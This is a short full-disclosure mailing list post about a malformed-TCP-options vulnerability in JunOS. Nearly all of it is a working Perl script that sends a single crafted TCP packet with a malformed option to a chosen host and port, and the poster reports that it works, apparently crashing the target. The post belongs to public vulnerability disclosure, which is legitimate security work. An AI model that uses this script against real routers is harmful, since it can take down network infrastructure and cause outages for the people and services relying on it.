[Full-disclosure] JunOS malformed TCP options vulnerability

[Jeremy L. Gaddis]

This works for me:

$ cat junos-crash.pl 
#!/usr/bin/perl

my $host =      shift;
my $port =      shift;

use             Net::Packet qw($Env);

use             Net::Packet::IPv4;
my $ip =        Net::Packet::IPv4->new(dst => $host);

use             Net::Packet::TCP;

my $tcp =       Net::Packet::TCP->new(
                    dst         => $port,
                    options     =>  "\x65\x02\x01\x01", 
                );

use             Net::Packet::Frame;
my $frame =     Net::Packet::Frame->new(l3 => $ip, l4 => $tcp);

$frame->send;
exit 0;
